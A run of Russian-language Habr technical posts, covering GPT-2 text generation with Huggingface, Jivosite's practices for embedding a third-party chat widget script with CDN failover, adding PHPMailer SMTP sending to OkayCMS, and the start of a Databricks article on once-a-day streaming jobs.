При больших размерах области значений параметров можно сначала использовать случайный поиск, так как он быстрее. Затем, используя лучшие гиперпараметры, найденные при случайном поиске, сузить сетку параметров и ввести в сеточный поиск меньший диапазон значений.
---
В феврале в рамках специализации Machine Learning в Otus пройдут два бесплатных открытых урока, на которые могут записаться все заинтересованные. Темы вебинаров и ссылки на регистрацию ниже:
* [На первом уроке](https://otus.pw/0JUo/) мы разберем основы Machine Learning и поговорим о такой востребованной области, как Data Science.
* [На втором уроке](https://otus.pw/1eKT/) освоим популярный ML-алгоритм – «дерево решений». Поговорим о том, для каких задач его используют в машинном обучении и как правильно его применять на практике.
Будем рады всем участникам. | https://habr.com/ru/post/698370/ | null | ru | null |
# Генерация текста с помощью GPT2 и PyTorch
Быстрая и легкая генерация текста на любом языке с помощью фреймворка Huggingface
---------------------------------------------------------------------------------
> В рамках курса [«Machine Learning. Advanced»](https://otus.pw/TS4r/) подготовили перевод интересного материала.
>
> Также приглашаем принять участие в открытом вебинаре на тему [«Multi-armed bandits для оптимизации AB тестирования».](https://otus.pw/0Fv6/) На вебинаре участники вместе с экспертом разберут один из самых эффективных вариантов применения обучения с подкреплением, а также рассмотрят, как можно переформулировать задачу АБ тестирования в задачу байесовского вывода.
>
>
---
Введение
--------
[Генерация текста](https://en.wikipedia.org/wiki/Natural-language_generation) — одна из самых захватывающих прикладных задач [обработки естественного языка (Natural Language Processing - NLP)](https://en.wikipedia.org/wiki/Natural_language_processing) за последние годы. Большинство из нас, вероятно, слышали о [GPT-3](https://arxiv.org/abs/2005.14165), мощной языковой модели, которая может генерировать тексты, близкие к написанным человеком. Однако такие модели чрезвычайно трудно обучать из-за их большого размера, поэтому предварительно обученные модели обычно предпочтительнее там, где это приемлемо.
В этой статье мы научим вас генерировать текст с помощью предварительно обученного [GPT-2](https://cdn.openai.com/better-language-models/language_models_are_unsupervised_multitask_learners.pdf) — более легкого предшественника GPT-3. Мы будем использовать именитую [библиотеку Transformers](https://github.com/huggingface/transformers), разработанную [Huggingface](https://huggingface.co/). Если вы хотите узнать, как настроить GPT-2 на своем собственном наборе данных для генерации текста в конкретной предметной области, вы можете прочитать мою предыдущую статью: [Настройка GPT2 для генерации текста с помощью Pytorch](https://towardsdatascience.com/fine-tuning-gpt2-for-text-generation-using-pytorch-2ee61a4f1ba7)
Если предварительно обученной GPT-2 для ваших целей будет достаточно, то вы попали как раз туда, куда нужно! Без лишних отлагательств, приступим туториалу.
### План туториала
* Шаг 1: Устанавливаем библиотеку
* Шаг 2: Импортируем библиотеку
* Шаг 3: Создаем конвейер генерации текста
* Шаг 4: Определяем текст, с которого будет начинаться генерация
* Шага 5: Запускаем генерацию
* БОНУС: Генерируем текст на любом языке
#### Шаг 1: Установка библиотеки
Для установки [Huggingface Transformers](https://github.com/huggingface/transformers), нам нужно убедиться, что установлен PyTorch. Если вы не установили PyTorch, перейдите сначала на [его официальный сайт](https://pytorch.org/) и следуйте инструкциям по его установке.
После установки PyTorch, вы можете установить Huggingface Transformers, запустив:
```
pip install transformers
```
#### Шаг 2: Импорт библиотеки
После успешной установки Transformers, вы можете импортировать его модуль pipeline:
```
from transformers import pipeline
```
[Модуль pipeline](https://huggingface.co/transformers/main_classes/pipelines.html) является уровнем абстракции, который избавляет нас от написания сложного кода и позволяет легко выполнять различные задачи обработки естественного языка.
#### Шаг 3: Создание конвейера генерации текста
Теперь мы можем приступить к созданию конвейера генерации текста. Мы можем сделать это следующим образом:
```
text_generation = pipeline(“text-generation”)
```
Модель по умолчанию для конвейера генерации текста — GPT-2, самая популярная модель декодирующего трансформера для генерации языка.
#### Шаг 4: Определение текста, с которого начнется генерация
Теперь мы можем приступить к определению префиксного текста, на основе которого мы хотим генерировать новый текст. Давайте начнем с общего начального предложения:
```
The world is
(Мир)
prefix_text = "The world is"
```
#### Шаг 5: Запуск генерации
После того, как мы определили исходный текст, пора приступить к генерации! Мы можем сделать это, просто запустив:
```
generated_text= text_generation(prefix_text, max_length=50, do_sample=False)[0]
print(generated_text[‘generated_text’])
```
Приведенный выше код определяет `max_length` равный 50 знакам и отключает семплирование. Результат будет следующим:
```
The world is a better place if you’re a good person.
(Мир вокруг тебя лучше, если ты хороший человек.)
I’m not saying that you should be a bad person. I’m saying that you should be a good person.
(Я не говорю, что ты должен быть плохим человеком. Я говорю, что ты должен быть хорошим человеком.)
I’m not saying that you should be a bad
(Я не говорю, что ты должен быть плохим.)
```
Как видим, компьютер удивительным образом может генерировать текст, который имеет смысл, хотя и он не идеальный. Одна из проблем с выводом заключается в том, что он повторяется в конце. Возможно, это можно решить, используя разные схемы декодирования (например, [top-k](https://arxiv.org/abs/1805.04833)/[top-p семплирование](https://arxiv.org/abs/1908.04319)) и подбирая разные значения, но это уже выходит за рамки данной статьи. Чтобы узнать больше о схемах декодирования и как вы можете реализовать их, смотрите [официальный туториал Huggingface](https://huggingface.co/blog/how-to-generate) и [документацию TextGenerationPipeline](https://huggingface.co/transformers/main_classes/pipelines.html#transformers.TextGenerationPipeline).
### БОНУС: Генерация текста на любом языке
Во-первых, для создания текста на другом языке нам потребуется языковая модель, предварительно обученная на корпусе этого языка; в противном случае, нам придется настраивать ее самостоятельно, что является достаточно утомительной задачей. К счастью, Huggingface предоставляет список моделей, созданных прекрасным сообществом обработки естественного языка ([ссылка здесь](https://huggingface.co/models)), и есть вероятность, что уже существует языковая модель предварительно настроенная на выбранный вами язык.
Допустим, мы хотим создать текст на китайском языке. Эта [модель GPT2 от CKIPLab](https://huggingface.co/ckiplab/gpt2-base-chinese) предварительно обучена на китайском корпусе, поэтому мы можем использовать их модель без необходимости заниматься настройкой самостоятельно.
Согласно [их документации](https://github.com/ckiplab/ckip-transformers), мы можем начать с импорта соответствующих модулей токенизатора и модели:
```
from transformers import BertTokenizerFast, AutoModelWithLMHead
```
Затем следует построить токенизатор и модель соответственно:
```
tokenizer = BertTokenizerFast.from_pretrained(‘bert-base-chinese’)
model = AutoModelWithLMHead.from_pretrained(‘ckiplab/gpt2-base-chinese’)
```
Затем мы загружаем наш новый токенизатор и модель в качестве параметров для создания инстанса конвейера:
```
text_generation = pipeline(“text-generation”, model=model, tokenizer=tokenizer)
```
После этого, мы снова задаем наш префиксный текст, на этот раз на китайском языке:
```
我 想 要 去
prefix_text = "我 想 要 去"
## Я хочу
```
Используя тот же код, что и выше, мы теперь можем начать генерацию на основе префиксного текста:
```
generated_text= text_generation(prefix_text, max_length=50, do_sample=False)[0]
print(generated_text['generated_text'])
```
Вы должны увидеть следующий вывод:
```
我 想 要 去 看 看 。 」 他 說 : 「 我 們 不 能 說, 我 們 不 能 說, 我 們 不 能 說, 我 們 不 能 說, 我 們 不 能 說, 我 們 不 能 說, 我 們
## Я хочу осмотреться ». Он говорит: «Мы не можем сказать, мы не можем сказать, мы не можем сказать,
мы не можем сказать, мы не можем сказать, мы не можем сказать, мы.
```
Хотя сгенерированный текст далек от совершенства, опять же, это тема для другой статьи.
### Заключение
Вот так просто! Надеюсь, теперь вы разобрались, как реализовать генерацию текста с помощью простого API, предоставляемого Huggingface, с предварительно обученными моделями. Для вашего удобства я прикрепил сюда блокнот Jupyter:
**Генерация текста на английском языке**
```
In [1]:
from transformers import pipeline
In [ ]:
text_generation = pipeline("text-generation")
In [7]:
prefix_text = "The world is"
In [8]:
generated_text= text_generation(prefix_text, max_length=50, do_sample=False)[0]
print(generated_text['generated_text'])
Setting `pad_token_id` to `eos_token_id`:50256 for open-end generation.
The world is a better place if you're a good person.
I'm not saying that you should be a bad person. I'm saying that you should be a good person.
I'm not saying that you should be a bad
```
Вот и все! Надеюсь, вам понравилась эта статья. Если у вас есть какие-либо вопросы, не стесняйтесь оставлять комментарии ниже. Кроме того, подписывайтесь на мою рассылку, чтобы получать от меня новые статьи. Вы также можете почитать мои предыдущие статьи, если вам понравилась эта.
#### Ссылки
*Brown, Tom B., et al.* [*“Language models are few-shot learners.”*](https://arxiv.org/abs/2005.14165) *arXiv preprint arXiv:2005.14165 (2020).*
*Radford, Alec, et al.* [*“Language models are unsupervised multitask learners.”*](https://cdn.openai.com/better-language-models/language_models_are_unsupervised_multitask_learners.pdf) *OpenAI blog 1.8 (2019): 9.*
[*Transformers Github*](https://github.com/huggingface/transformers)*, Huggingface*
[*Transformers Official Documentation*](https://huggingface.co/transformers/)*, Huggingface*
[*Pytorch Official Website*](https://pytorch.org/)*, Facebook AI Research*
*Fan, Angela, Mike Lewis, and Yann Dauphin.* [*“Hierarchical neural story generation.”*](https://arxiv.org/abs/1805.04833) *arXiv preprint arXiv:1805.04833 (2018).*
*Welleck, Sean, et al.* [*“Neural text generation with unlikelihood training.”*](https://arxiv.org/abs/1908.04319) *arXiv preprint arXiv:1908.04319 (2019).*
[*CKIPLab Transformers Github*](https://github.com/ckiplab/ckip-transformers)*, Chinese Knowlege and Information Processing at the Institute of Information Science and the Institute of Linguistics of Academia Sinica*
---
> [Узнать подробнее о курсе](https://otus.pw/TS4r/) «Machine Learning. Advanced».
>
> [Смотреть открытый вебинар](https://otus.pw/0Fv6/) на тему «Multi-armed bandits для оптимизации AB тестирования»[.](https://otus.pw/0Fv6/)
>
> | https://habr.com/ru/post/542116/ | null | ru | null |
# Как подключить скрипт на сторонний сайт
Привет, Хабр! Это первый пост в нашем блоге. Многие знают нас как чат для сайта, именно с него мы начинали, а сейчас занимаем лидирующие позиции в сфере бизнес-мессенджеров. Мы постепенно эволюционировали в комплексное бизнес-решение, которое предоставляет множество возможностей для клиентов: callback, общение с клиентами через мессенджеры, соцсети, мобильные приложения, виртуальная АТС, CRM-функции и многое другое.
За несколько лет мы успешно решили множество технических проблем, накопили много интересного, а местами и уникального опыта, конечно же, писали свои костыли и велосипеды. Этим постом мы начинаем серию статей, в которых будем делиться своим опытом разработки, выстраивания процессов в полностью удаленной команде, расскажем про нашу архитектуру, технические решения, которые позволяют нам эффективно обслуживать сотни тысяч клиентов по всему миру.
**Jivosite сегодня это:**
* 250К клиентов по всему миру;
* 150М показов виджета в сутки;
* 3.5М сообщений в сутки;
* 10М чатов в месяц;
* 1М одновременных коннектов;
* 250+ серверов в production.
Поскольку большинство знают нас как чат для сайта, пожалуй, с него и начнем. В этой статье мы на примере нашего многолетнего опыта работы чата расскажем, как лучше подключать свой код на сторонний сайт и на что следует обратить внимание. Эта статья будет полезна тем, кто планирует или уже разрабатывает подключаемый сервис, и просто всем, кому интересна эта тема.
### Входная точка
Театр начинается с вешалки, а подключаемый сервис с кода-вставки. Он является входной точкой для любого сервиса или модуля на сайт. Как правило, его можно найти в инструкции установки, после чего необходимо добавить его в HTML-код сайта, а дальше происходит «магия», которая определенным образом загружает и инициализирует скрипт.
Казалось бы, что может быть проще подключения скрипта на сайт? По стандарту, необходимо просто добавить тег script в HTML-код страницы. Но на самом деле это важный этап, скрывающий много подводных камней. Например, идентификация пользователя, реализация резервного канала загрузки скрипта, настройка внешнего вида или логики, скорость загрузки страницы и так далее. Но давайте обо всем по порядку.
### Идентификация
Просто так подключать скрипт мало кому интересно, наверняка скрипт выполняет какую-либо логику, а эта логика привязана к пользователю. Например, ID счетчика, APP\_ID от соцсети, в нашем случае это ID созданного канала связи. То есть скрипт должен идентифицировать пользователя в запросах на сервер. Для идентификации клиента через код-вставки есть три варианта реализации.
**Вариант #1**
Передавать ID прямо в ссылке на файл и на стороне сервера каким-либо способом прокидывать его в скрипт. В этом случае серверу на лету придется прописывать ID в файл или формировать JS-строку c ID, которая будет загружать file.js. Эта логика похожа на реализацию JSONP-запросов.
Долгое время мы работали по такому принципу, но минусы этого подхода в том, что добавляется «холостая» нагрузка на сервер и необходимость реализации серверного кэширования.
**Вариант #2**
```
window.serviceNameId = “123”;
//или
ServiceNameModule.init({id: “123”});
```
*Атрибут async — говорит браузеру о том, что не нужно дожидаться загрузки скрипта для построения DOM, скрипт надо выполнить сразу после загрузки. Это уменьшает время загрузки страницы, но есть и обратная сторона медали: скрипт может выполняться до того, как DOM будет готов к работе.*
Одна из самых популярных реализаций, так делают в том числе и крупные сервисы, отличается только синтаксис, но суть у всех одна.
У такого подхода есть два основных минуса, первый — усложняется код-вставки, а второй — очень важен порядок выполнения данного кода, в противном случае ничего работать не будет. К тому же необходимо делать выбор между скоростью (async) и стабильностью (без async), большинство выбирают 2-й вариант.
**Вариант #3**
Аналогично первому варианту передавать ID в ссылке на файл, но извлекать его в браузере, а не на сервере. Это не так просто, как кажется, но возможно. В API браузера есть свойство document.currentScript, оно возвращает ссылку на скрипт, который загружен и в данный момент выполняется в браузере. Зная это, можно вычислить ID, для этого надо получить свойство document.currentScript.src и регуляркой вытащить из него ID.
Есть одно но: document.currentScript поддерживается не всеми браузерами. Для браузеров, не поддерживающих это свойство, мы придумали интересный хак. В коде file.js можно выбросить специальное «фейковое» исключение, обернутое в try/catch, после чего в стеке ошибки будет URL скрипта, в котором произошла ошибка. URL будет содержать ID, который мы получаем той же регуляркой.
Вот такая магия получается, но это работает. Нет заморочек с порядком выполнения, код-вставки выглядит просто и нет оверхеда на сервере. Последние два года мы используем именно такой подход, хотя сам код-вставки у нас отличается, но принцип тот же.
### Настройки
В большинстве случаев у подключаемых скриптов есть какие-либо настройки, отвечающие за внешний вид или логику работы. Эти настройки необходимо «прокидывать» в подключаемый скрипт, для этого существуют два принципиально разных подхода.
**Подход #1**
```
window.serviceName = {color: “red”, title: “Заголовок”, ...};
//или
ServiceNameModule.init({color: “red”, title: “Заголовок”, ...});
```
К этому подходу также относится передача настроек в GET параметрах url скрипта, аналогично варианту #1 из раздела «Идентификация». Подход заключается в том, что если клиент хочет поменять настройки, то ему необходимо отредактировать код-вставки и обновить его на сайте.
Это хорошо тем, что все настройки хранятся на клиенте и их не надо хранить на сервере, разрабатывать и обслуживать всю связанную с этим бизнес-логику. Главным минусом такого подхода является неудобство для клиента, ему приходится все делать вручную, а если настроек много, то код-вставки превращается в сложно поддерживаемую простыню, в которой легко допустить ошибку. А чтобы обновления вступили в силу, надо обновлять сайт, это лишние телодвижения разработчиков и админов.
**Подход #2**
Второй подход заключается в том, что в случае необходимости изменения настроек клиенту не надо модифицировать код-вставки, все настройки хранятся на сервере. Для того чтобы поменять настройки, надо зайти в графическую панель, изменить нужные параметры и нажать кнопку «Сохранить». После этого настройки автоматически применятся для его сайта!
Не надо разбираться в коде и делать ради этого деплой, этим может заниматься человек, далекий от JavaScript, например менеджер. Конечно для пользователей такой вариант гораздо удобнее и проще, поэтому именно его мы используем. Но за удобство надо платить, такой подход требует разработки и поддержки логики на сервере и подразумевает дополнительную нагрузку на него. В следующих статьях мы обязательно расскажем, как мы ежедневно обрабатываем 150М таких запросов.
### Обратная совместимость
Очень важно максимально быстро прийти к зрелой версии кода-вставки. Потому что обновлять уже установленные коды-вставки будет крайне сложно. Пример из нашей практики: в первых версиях мы использовали числовые ID, но по соображениям безопасности заменили их на число-буквенные. Оказалось, что очень сложно добиться изменения уже установленного кода-вставки. Многие даже не знают, что такое HTML и как устроены сайты. Например, сайт делали фрилансеры, студия или сайт создавался через CMS/конструктор и т. д. В большинстве случаев наши клиенты работают только с панелью настроек виджета. С тех времен у нас до сих пор в nginx работает мапа реврайта старых ID на новые, в которой около 40К записей.
```
....
/script/widget/config/15**90 /script/widget/config/bqZB**rjW5;
/script/widget/config/15**94 /script/widget/config/qtfx**xnTi;
/script/widget/config/15**95 /script/widget/config/fqmpa**4YX;
/script/widget/config/15**97 /script/widget/config/Vr21g**nuT;
/script/widget/config/15**98 /script/widget/config/8NXL5**F8E;
/script/widget/config/15**00 /script/widget/config/Th2HN**6RJ;
....
```
Из-за этой особенности мы вынуждены сохранять обратную совместимость кода-вставки при всех рефакторингах, которых на нашей памяти было около 5.
### Изоляция кода
Так как скрипт подключается на сторонний сайт, на котором уже есть JavaScript и CSS код сайта и других сервисов, первостепенной целью является не навредить сайту, чтобы наш код не изменил логику, а тем более не сломал ее. Это может быть JavaScript-ошибка, которая останавливает поток выполнения, или стили, которые переопределяют стили сайта. Но и код сайта может саффектить подключаемый скрипт, например используется библиотека которая модифицирует браузерное API, после чего код перестает работать или работает не так, как мы ожидаем.
```
// код mootools.js
var JSON = new Hash({
encode: function () {},
decode: function () {}
// ...
});
// код подключаемого скрипта
JSON.parse(json); // Uncaught TypeError: JSON.parse is not a function
```
```
// код библиотеки или разработчика сайта
body \* {
padding: 20px;
}
form input {
display: block;
border: 2px solid red;
}
```
Есть разные варианты изоляции кода. Например можно использовать префиксы в JS переменных, замыкания, чтобы не засорять глобальный контекст, использовать что-то наподобие БЭМ для стилей. Но самый простой способ — это выполнения кода в iframe, он решает большинство проблем изоляции, но накладывает определенные ограничения. Мы используем гибридный вариант, про изоляцию кода расскажем подробнее в следующих статьях.
### Блокировка загрузки сайта
Событие onload — наступает после того, как веб-страница полностью загружена, включая изображения, стили и внешние скрипты. Важная особенность в том, что на большинстве сайтов JS-логика, сторонние скрипты и реклама начинают работать по наступлению этого события. Очень важным пунктом для всех подключаемых скриптов является не допустить негативного влияния на это событие.
Это происходит в тех случаях, когда сервер, с которого грузится скрипт, отвечает долго или вовсе не отвечает: тогда событие onload откладывается и дальнейшая загрузка страницы по сути блокируется. В случае, когда сервер недоступен, событие onload наступит только по истечении таймаута запроса, который больше 60 с. Таким образом, проблемы на сервере отдачи скрипта по сути «ломают» сайты, что является недопустимым.
**Личный опыт**
В прошлом я работал в компании, у которой был сайт с одновременным онлайном 100К, онлайн-знакомства. В те времена были попопулярны кнопки «Поделится в соцсетях». Чтобы они появились на сайте, надо было подключить скрипт (sdk) от нужных соцсетей. В один прекрасный день к нам прибежали коллеги и сказали, что наш сайт не работает! Мы посмотрели в мониторинги, в которых все было нормально, и сначала не поняли, в чем проблема. Когда начали разбираться глубже, поняли, что cdn-сервера Twitter прилегли, и их SDK не мог загрузиться, это блокировало нам загрузку сайта на ~1.5 минуты. То есть после открытия сайта загружался небольшой HTML(остальное SPA) и только через 1.5 минуты все прогружалось, срабатывал тот самый таймаут запроса. Нам пришлось экстренно организовывать хотфикс и убирать их скрипт с сайта. После повтора этой ситуации мы решили убрать блок «Поделиться» совсем.
В первых версиях кода-вставки у нас не было это учтено, и в случае технических проблем на нашей стороне мы, мягко говоря, доставляли неудобства нашим клиентам, но со временем мы это исправили.
**Решение**
```
(function(){
var initCode = function () {
// insert script tag
};
document.readyState === 'complete' ?
initCode() :
w.addEventListener('load', initCode, false);
})();
```
Решение простое, надо подписаться на событие полной загрузки сайта и только потом загружать скрипт, для этого надо использовать код-вставки, а не тег script.
### Google Pagespeed
*Результаты анализа мобильной версии habr.com*
Большинство уделяют внимание скорости загрузки сайта, по многим исследованиям это напрямую влияет на прибыль, к тому же поисковые алгоритмы при ранжирование стали учитывать время загрузки страницы. В связи с этим владельцы сайтов часто используют подобные инструменты для оценки производительности сайта. Поэтому очень важно оптимально подключать код на сайт, так он напрямую влияет на его время загрузки.
Это означает, что надо использовать современные техники оптимизации загрузки страниц. Например использовать Gzip, кешировать статические файлы и запросы, использовать асинхронную загрузки скриптов, сжатие статики современными алгоритмами такими как WebP/Brotli/etc и использовать другие оптимизации. Мы регулярно проводим аудит и реагируем на предупреждения и рекомендации, чтобы соответствовать современным требованиям.
### CDN
В первых версиях мы загружали статику с серверов приложения. Но у такого подхода есть минусы: дорогой трафик, удаленность от посетителей сайтов и излишняя нагрузка на канал серверов. Можно легко забить канал серверов приложения при хабр-эффекте сайтов, так как трафик статики очень «тяжелый».
С целью экономии бюджета, стабильности и уменьшения сетевой задержки оптимально загружать статику со специально предназначенных для этого серверов. Можно использовать готовые CDN-провайдеры, но на больших масштабах это недешево и приходится ограничиваться возможностями, которое предоставляет тот или иной провайдер.
Мы реализовали это просто, заказали недорогие сервера в России, Европе и Америке с безлимитным трафиком и широким каналом. Это дешево, не накладывает на нас никаких ограничений, мы можем настроить все под себя, а отказоустойчивость обеспечивается за счет механизма, работающего в браузере. В данный момент с наших CDN-серверов загружается 1ТБ статики ежедневно.
### Отказоустойчивость
К сожалению, мир не идеален, случаются пожары, аплинки падают, ДЦ целиком уходят под воду, РКН блочит подсети, а люди совершают ошибки. Тем не менее, необходимо уметь обрабатывать такие ситуации и продолжать работать.
**Мониторинг**
Сначала надо понять, что что-то пошло не так. Можно, конечно, подождать, пока пользователи придут и пожалуются, но лучше настроить мониторинг и алерты, а после релизов, проверять все ли в порядке. Мы мониторим много различных параметров, как серверных, так и клиентских, и если что-то пошло не так, мы сразу это видим. Например, уменьшилось количество загрузок виджета или аномальный всплеск трафика на CDN-серверах.
*Суммарное кол-во загрузок виджета по каждой версии*
**Сбор ошибок**
JavaScript очень специфичный язык, и допустить в нем ошибку несложно. К тому же зоопарк браузеров в современном вебе очень большой; то, что работает в последнем Chrome, не факт, что будет работать в Safari или Firefox. Поэтому очень важно настроить сбор ошибок из браузера и вовремя реагировать на всплески. Если ваш код работает в iframe, то сделать это можно отслеживая глобальный обработчик window.onerror и в случае ошибки отправлять данные на сервер. Если код работает вне iframe, то реализовать сбор ошибок очень сложно.
*Суммарное кол-ва ошибок со всех сайтов и браузеров*
*Информация по конкретной ошибке*
**CDN Failover**
Выше я уже писал, что все имеет свойство падать, поэтому важно обрабатывать эти ситуации и лучше — автоматически. Мы прошли несколько этапов фаллбека CDN-серверов, начинали с ручного, а в итоге нашли способ делать это автоматически и оптимально для браузера.
В ручном режиме это работало просто: админам приходило СМС о том что CDN прилег, они совершали определенные манипуляции, после чего виджет начинал загружаться с серверов приложения. Это могло занять от 5 минут до 2 часов времени.
Для реализации автоматического фаллбека необходимо как-то детектить, что загрузка скрипта началась, но сделать это не так просто, как кажется. Браузер не дает возможности отслеживать промежуточные состояния загрузки тега script, как например событие onprogress в XMLHttpRequest, а сообщает только событие по окончанию загрузки и выполнения скрипта. Также нельзя за приемлемое время узнать, что сервер в данный момент недоступен, единственное событие onerror срабатывает по истечении таймаута запроса, больше 1 минуты. За минуту посетитель может уже покинуть страницу, а скрипт так и не загрузится.
Мы пробовали разные варианты, простые и сложные, но в итоге пришли к решению с ping-запросом CDN-сервера. Работает это так: мы сначала пингуем CDN-сервер, если ответил, то тогда мы загружаем виджет с него. Чтобы реализовать эту схему оптимально для браузера и наших серверов, мы используем легкий HEAD-запрос (без тела), а при последующих загрузках мы его не делаем, пока не обновится версия виджета, т. к. виджет уже в кеше браузера.
Таким образом мы получили очень быстрый и автоматически детект доступности сервера статики и в случае падения практически без задержек переходим на резервный сервер.
### Loader
Чтобы загрузить свой скрипт на сторонний сайт, надо учесть множество моментов, но реализовать эту логику в коде-вставки сложно, так как он просто превратится в «мясо». Но делать это все равно надо, для этого мы создали небольшой модуль, который управляет всей этой логикой «под капотом» и загружает основной код виджета. Он загружается в первую очередь и реализует CDN Failover, кеширование, обратную совместимость со старыми кодами-вставки, А/Б тестирование, постепенную выкладку новой версии виджета и множество других функций.
Таким образом поэтапно мы пришли к схеме, которая покрывает основные кейсы загрузки и инициализации виджета. Она доказала свою эффективность за годы использования на большом количестве различных сайтов. При этом код-вставки остается простым и универсальным, так как в нем нет никакой логики и мы в любой момент можем ее поменять, при этом не заставляя пользователей менять код-вставки.
### Сторонние сервисы
Ну и напоследок стоит упомянуть про сторонние сервисы, которые подключаются на сайт или каким-либо образом взаимодействуют с сайтами: поисковые боты, аналитика, различные парсеры и так далее. Эти сервисы оставляют отпечаток на работе, про это тоже не стоить забывать. Расскажу несколько случаев из нашей практики.
**GoogleBot**
В нашем приложении оператора есть функция «Посетители», в которой можно посмотреть посетителей, в данный момент просматривающих сайт, и различную информацию по ним: время на сайте, страницу, число просмотренных страниц и так далее. В определенный момент клиенты начали жаловаться, что у них «висят» посетители с других сайтов, то есть на сайте по продаже айфонов, клиент, у которого якобы открыта страница «Купить крем для лица». Когда начали разбираться, выяснили, что это GoogleBot, который при переходе от сайта к сайту кешировал LocalStorage первого и впоследствии передавал неправильные данные на сервер.
Решение простое, на сервере начали игнорировать данные от GoogleBot.
**Яндекс.Метрика**
В метрике есть замечательная функция — вебвизор, которая позволяет посмотреть, что видел и делал пользователь, в виде скринкаста. Для этого метрика записывает все действия пользователя, а после специальный бот метрики ходит по сайтам, совершает те же действия и записывает это. Проблема была в том, что для эмуляции мобильного браузера пользователя, по нашим данным, включался Firefox в режиме мобильной эмуляции, но при этом userAgent у бота был десктопный.
Это приводило к тому, что при просмотре мобильных пользовательских сессий в вебвизоре на записи открывалась десктопная версия виджета, хотя на самом деле у пользователей открывалась мобильная. Наши клиенты думали, что так и есть, и заваливали нас жалобами. В итоге нам пришлось детектить, что виджет загружен в вебвизоре, понимать, что в нем открыта мобильная версия, и в этом случае подсовывать туда мобильный виджет.
Примеров намного больше, но, думаю, этого будет достаточно для понимания сути.
### Заключение
Надо очень внимательно относиться к коду, который вы отдаете клиентам для вставки на сайт. Мы кратко рассказали, с какими проблемами мы столкнулись и как их решали. В следующих статьях мы более подробно расскажем про некоторые упомянутые темы и другие участки нашей системы, например, как мы используем NodeJS в качестве бэкенда, как держим нагрузку всех 270К сайтов за счет продуманного кеширования и не боимся хабра-эффекта подключенных к нам сайтов, как работаем в полностью распределенной команде и многое другое.
Спасибо за внимание, будем рады ответить на ваши вопросы и комментарии! | https://habr.com/ru/post/452802/ | null | ru | null |
# Дружба OkayCMS и модуля для SMTP
После того, как почтовые сервисы перешли на свою строгую политику, многие клиенты стали жаловаться, что письма с интернет-магазина падают как минимум в спам, а в худшем случае, хостинг просто блочит письмо и не отправляет клиенту. В связи с этим, мы стали прикручивать на сайты популярную библиотеку PHPMailer, которая позволяет гибко настроить отправку почты. Как оказалось, в рамках простой CMS данная библиотека выглядит «мини-монстром» так как содержала в себе файлов больше, чем папка со всеми контроллерами системы.
В итоге мы составили кое-какой алгоритм подключения этого дела к системе Okay.
Итак, шаг номер раз: скачиваем библиотеку PHPMailer с [гита](https://github.com/PHPMailer/PHPMailer).
Шаг номер два: загружаем папку библиотеки в папку api самой системы и подключаем ее к ней.
Для этого нам надо сделать вот такие манипуляции:
В классе Notify.php подключаем библиотеку вот таким образом:
```
require('PHPMailer/class.phpmailer.php');
include('PHPMailer/class.smtp.php');
```
После этого меняем стандартную функцию mail на вот такую:
```
public function SMTP($to, $subject, $message,$headers){
$mail = new PHPMailer();
$mail->IsSMTP(); // telling the class to use SMTP
$mail->Host = ''.$this->settings->smtp_server.''; // SMTP server
$mail->SMTPDebug = 0; // enables SMTP debug information (for testing)
$mail->SMTPAuth = true; // enable SMTP authentication
$mail->Port = $this->settings->smtp_port; // set the SMTP port for the GMAIL server
$mail->Username = ''.$this->settings->smtp_user.''; // SMTP account username
$mail->Password = ''.$this->settings->smtp_pass.''; // SMTP account password
$mail->SetFrom($this->settings->smtp_user, $this->settings->user_pseudo);
$mail->AddReplyTo($this->settings->smtp_user,$this->settings->user_pseudo);
$mail->Subject = $subject;
$mail->MsgHTML($message);
$mail->addCustomHeader("MIME-Version: 1.0\n");
$recipients = explode(',',$to);
if(!empty($recipients)){
foreach($recipients as $i=>$r){
$mail->AddAddress($r);
}
}
else{
$mail->AddAddress($to);
}
if(!$mail->Send()) {
@file_put_contents('error_log.txt',$mail->ErrorInfo);
}
}
function email($to, $subject, $message, $from = '', $reply_to = '')
{
$headers = "MIME-Version: 1.0\n" ;
$headers .= "Content-type: text/html; charset=UTF-8; \r\n";
$headers .= "From: $from\r\n";
if(!empty($reply_to))
$headers .= "reply-to: $reply_to\r\n";
$subject = "=?utf-8?B?".base64_encode($subject)."?=";
if($this->settings->use_smtp){
$this->SMTP($to, $subject, $message, $headers);
}
else{
@mail($to, $subject, $message, $headers);
}
}
```
И по факту, исполняющая часть у вас готова. Здесь добавлен регулятор в виде конструкции if, который позволит админу самому переключать способ отправки, это либо функиция mail, либо протокол SMTP.
После этого «допилим» административную часть, и добавим поля:
Идем в папку backend/design/html и открываем файл settings.tpl, в конец которого добавляет вот такой кусок кода:
```
Настройки SMTP почты
--------------------
* SMTP Почта
use\_smtp == 1}selected=""{/if}>Да
use\_smtp == 0}selected=""{/if}>Нет
SMTP Server
SMTP Port
SMTP Пользователь
SMTP Пароль
Имя отправителя
```
После чего получаем вот такой вид внешне:
И добавляет обработчик данных полей в файл backend/SettingsAdmin.php
```
$this->settings->smtp_server = $this->request->post('smtp_server');
$this->settings->smtp_port = $this->request->post('smtp_port');
$this->settings->smtp_user = $this->request->post('smtp_user');
$this->settings->smtp_pass = $this->request->post('smtp_pass');
$this->settings->use_smtp = $this->request->post('use_smtp');
$this->settings->user_pseudo = $this->request->post('user_pseudo');
```
На этой программная часть закончилась, и все бы хорошо, но настройка этого дела требует иногда нервных усилий.
Краткий список действий будет таков:
1. Зарегистрировать почту для домена (например на яндексе)
2. Переключить MX записи почтовой службы на хостинге
3. Узнать у хостинга, открыт ли 465-й порт на сервере, иначе смысла отправлять письма не будет
4. Указать логин и пароль в админке
5. Пользоваться подписанным ящиком, и отправлять письма от «подписанного» отправителя | https://habr.com/ru/post/319454/ | null | ru | null |
# Выполнение заданий потоковой обработки раз в день для 10-кратного снижения затрат
**Часть 6 Масштабируемые данные @ Databricks**
*Это шестой пост из* [*серии статей*](https://databricks.com/blog/2017/01/19/real-time-streaming-etl-structured-streaming-apache-spark-2-1.html) *о том, как выполнять сложную аналитику потоковой передачи с помощью Apache Spark.*
Традиционно, когда люди думают о потоковой стриминговой обработке, на ум приходят такие термины, как "real-time", "24/7" или "always on". У вас могут возникнуть ситуации, когда данные поступают только через фиксированные интервалы времени неравномерно. То есть они появляются каждый час или раз в день. Для таких юзкейсов по-прежнему целесообразно выполнять инкрементную обработку этих данных. Однако было бы расточительно поддерживать кластер в рабочем состоянии 24 часа в сутки 7 дней в неделю только для того, чтобы осуществлять небольшой объем работы раз в день.
